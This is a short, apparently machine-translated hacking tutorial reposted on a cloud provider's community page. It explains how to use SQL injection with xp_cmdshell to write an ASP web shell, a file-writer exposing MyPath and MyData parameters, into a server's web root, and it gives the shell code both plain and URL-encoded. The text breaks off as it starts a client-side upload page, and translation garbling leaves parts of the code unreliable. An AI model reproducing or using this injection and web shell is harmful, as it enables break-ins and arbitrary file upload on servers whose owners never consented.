Trojan Horse | Upload SQL injection, how to upload a Trojan, has been a headache, I am here to provide an alternative way to upload a trojan. 1, SQL injection, with xp_cmdshell to the server to write a file to write an ASP file. File contents: <%set objFSO = Server.CreateObject ("Scripting.FileSystemObject") Set Objcountfile=objfso.createtextfile ( Request ("MyPath"), True) Objcountfile.write request ("MyData") objcountfile.close%> This file can be written as a line <%set objFSO = Server.CreateObject ("Scripting.FileSystemObject"): Set objcountfile=objfso.createtextfile (Request ("MyPath"), True ): Objcountfile.write request ("MyData"):objcountfile.close%> encode special characters to get%3c%25set%20objfso%20=% 20server.createobject (%22scripting.filesystemobject%22): set%20objcountfile=objfso.createtextfile (Request (% 22MYPATH%22), True: Objcountfile.write%20request (%22mydata%22): objcountfile.close%25%3e Injection (This assumes that the Web directory is C:\Inetpub\ wwwroot\): EXEC master ... xp_cmdshell ' echo '%3c%25set%20objfso%20=%20server.createobject (%22scripting.filesystemobject%22): Set% 20objcountfile=objfso.createtextfile (Request (%22MYPATH%22), True): Objcountfile.write%20request (%22mydata%22): o bjcountfile.close%25%3E "> C:\Inetpub\wwwroot\ftp.asp"; this will generate a ftp.asp file in the server's web directory The code for the file is <%set objFSO = Server.CreateObject (" Scripting.FileSystemObject ") Set Objcountfile=objfso.createtextfile (Request (" MyPath "), True) objcountfile.write Request ("MyData") objcountfile.close%> you can see that the above code has two interfaces reserved MyPath and Mydatamypath is the next time to submit The file's build path MyData is the contents of the file write a client-side file locally: The rohuclient.htm code is as follows <! DOCTYPE HTML PUBLIC "-//w3c//dtd HTML 4.01 transitional//en" >
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.